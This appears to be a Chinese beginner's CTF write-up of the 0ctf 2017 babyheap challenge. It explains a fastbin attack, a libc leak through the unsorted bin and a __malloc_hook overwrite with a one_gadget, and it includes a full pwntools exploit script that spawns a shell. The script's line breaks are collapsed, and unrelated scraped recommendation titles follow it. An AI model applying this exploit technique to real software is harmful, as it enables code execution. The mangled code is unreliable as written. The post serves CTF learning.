刚入门pwn的菜鸡选手看这个最简单的堆题都看了好久,在这里写一下自己的分析做备忘,也希望能帮助那些跟我一样刚刚接触堆的萌新。
主要思路就是:

  • fastbin attack
  • unsortedbin attack 泄露libc地址
  • malloc_hook劫持程序流

程序分析

  • 因为markdown画图不太熟悉,就用其他软件画了图。
  • 先放exp,因为下面的图是根据exp画的。
#!/usr/bin/python
# -*- coding: utf-8 -*-
# ************************************************************************
# *
# * @file:babyheap_0ctf_2017.py
# * @date:2020-01-30 22:31
# * @version 1.0
# * @description: Python Script
# * @Author: sakai
# * @Copyright (c)  all right reserved
# *
#************************************************************************* from pwn import *
import syscontext.terminal = ['tmux', 'splitw', '-h' ]
context(os='linux', arch='amd64', log_level='debug')local_file = './babyheap_0ctf_2017'
ip = 'node3.buuoj.cn'
port = 1
def con(cmd):if cmd == 0:sh = process(local_file)else:sh = remote(ip, port)return shdef cmd(x):sh.sendlineafter('Command: ',str(x))def allocate(size):cmd(1)sh.sendlineafter('Size: ',str(size))def fill(index,content):cmd(2)sh.sendlineafter('Index: ',str(index))sh.sendlineafter('Size: ',str(len(content)))sh.sendlineafter('Content: ',content)def free(index):cmd(3)sh.sendlineafter('Index: ',str(index))def dump(index):cmd(4)sh.sendlineafter('Index: ',str(index))sh = con(0)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# 图0
allocate(0x10)
allocate(0x10)
allocate(0x30)
allocate(0x40)
allocate(0x60)
#图1
fill(0, p64(0x51)*4)
fill(2, p64(0x31)*6)
free(1)
#图2
allocate(0x40)
fill(1,p64(0x91)*4)
#图3
free(2)
dump(1)
sh.recv(0x2a)
addr = u64(sh.recv(6).ljust(8,'\x00'))
success('get_addr => '+hex(addr))
malloc_hook = addr - 0x68
success('malloc_hook => '+hex(malloc_hook))
#图5
free(4)
payload = p64(0)*9+p64(0x71)+p64(malloc_hook-0x23)
fill(3,payload)
#图6
allocate(0x60) #idx2
allocate(0x60) #idx4libc_addr = malloc_hook-libc.symbols['__malloc_hook']
success('libc ='+hex(libc_addr))
one_gadget = p64(libc_addr+0x4526a)
payload = 'a'*0x13+ one_gadget  #本地计算偏移
fill(4,payload)
allocate(1)
sh.interactive()





下一步我们继续申请2个0x60的chunk,因为fastbin上链了3个节点,首先会从fastbin[0x70]链表中取出来第一个节点(对应开始位置是上图中的D0处),建立了一个总大小为0x70的chunk。第二次allocate则会取链表的下一个节点,也就是malloc_hook-0x23这个地址作为新的chunk的开始地址,这个chunk总的大小还是0x70。通过本地查看信息计算偏移,得到最后的payload

参考链接:
2017-0ctf-babyheap
ctfwiki

0ctf-2017-babyheap图解相关推荐

  1. 0ctf 2017 kernel pwn knote write up

    UAF due to using hlist_add_behind() without checking. There is a pair locker(mutex_lock) at delete_n ...

  2. 确认main_arena相对libc的偏移地址

    前言 打保护全开的堆题时碰到的问题, 大佬wp直接给exp, 但是奈何萌新很多细节不懂啊 现在记录一下寻找main_arena相对libc偏移的方法(又水一篇博客) 在0CTF 2017 babyhe ...

  3. pwn with glibc heap(堆利用手册)

    前言 ​ 对一些有趣的堆相关的漏洞的利用做一个记录,如有差错,请见谅. ​ 文中未做说明 均是指 glibc 2.23 ​ 相关引用已在文中进行了标注,如有遗漏,请提醒. 简单源码分析 ​ 本节只是简 ...

  4. 2019 6月编程语言_六月开始提供435项免费在线编程和计算机科学课程

    2019 6月编程语言 Five years ago, universities like MIT and Stanford first opened up free online courses t ...

  5. 计算机科学导论第五版_五月份将开始提供438项免费在线编程和计算机科学课程

    计算机科学导论第五版 Five years ago, universities like MIT and Stanford first opened up free online courses to ...

  6. 计算机编程课程顺序_您可以在八月开始学习450项免费的在线编程和计算机科学课程...

    计算机编程课程顺序 Five years ago, universities like MIT and Stanford first opened up free online courses to ...

  7. linux 堆溢出 pwn 指南,新手科普 | CTF PWN堆溢出总结

    学习汇总 序言 自从加入RTIS交流群, 在7o8v师傅,gd大佬的帮助下,PWN学习之路进入加速度.下面是八周学习的总结,基本上是按照how2heap路线走的.由于八周内容全写,篇幅太长,这里只讲述 ...

  8. 从10个角度来检测自己是不是一个合格的前端工程师

    开篇 前端开发是一个非常特殊的行业,它的历史实际上不是很长,但是知识之繁杂,技术迭代速度之快是其他技术所不能比拟的. winter在他的<重学前端>课程中提到: 到现在为止,前端工程师已经 ...

  9. 2017 0ctf——babyheap

    64位程序,保护全开 #fastbin attack 程序逻辑 1 __int64 __fastcall main(__int64 a1, char **a2, char **a3) 2 { 3 __ ...

  10. poi 公式转 图片_三阶魔方公式符号图解V2.0(2017/12/15)_碧海风云

    本文出自微信公众号[碧海风云]之<三阶魔方公式符号图解V2.0(2017/12/15)_碧海风云> 公式符号概述 英国原伦敦南岸大学数学教授大卫·辛马斯特(David Breyer Sin ...

最新文章

  1. 面试官:抛开Spring来说,如何自己实现Spring AOP?
  2. python 函数调用列表_在项目列表上调用一个函数的最简洁方法 - python
  3. 云南大学计算机网络原理,云南大学软件学院计算机网络原理期中试卷王世普.doc...
  4. .net后台获取html控件值的2种方法
  5. 使用GPG校验sign签名
  6. 为什么你的记忆总会越来越模糊?
  7. C语言再学习 -- Linux 中常用基本命令
  8. 【Linux】一步一步学Linux——command命令(226)
  9. Web框架——Flask系列之模板使用练习(六)
  10. 查询结果做缓存的例子
  11. python IDE 集合
  12. 标签和标签选择器、label selector
  13. 逗比学CTF.day2
  14. Threejs入门之五:Threejs中的辅助对象
  15. 用神经网络实现语音分类
  16. 汽车电子功能安全标准ISO26262解析(十二)——HARA分析
  17. 自定义彩色进度条效果
  18. 浅析 AGS REST API
  19. 信息检索与利用(第三版)第六章 搜索引擎
  20. 2012年度最佳 Web 前端开发工具和框架——《上篇》

热门文章

  1. Win10系统遇到驱动需要数字签名无法安装问题的解决方法(手机通过数据线无法链接电脑)
  2. 关于大创项目的初期思考2020.11.14
  3. JAVA发送HttpClient请求及接收请求完整代码实例
  4. 百度地图android兼容,支持离线地图 百度地图Android版上线
  5. string entitlement = Application.dataPath+ “/Editor/Entitle Unity工程到处iOS工程,用脚本把Push Notifications打开
  6. tail关键字查询日志
  7. 【转载】社会网络中心性度量
  8. Elasticsearch:使用 Debian 软件包安装 Elasticsearch
  9. 360极速浏览器配置Chromedrive
  10. 转载ios开发如何使用Xcode的Targets来管理开发和生产版本的构建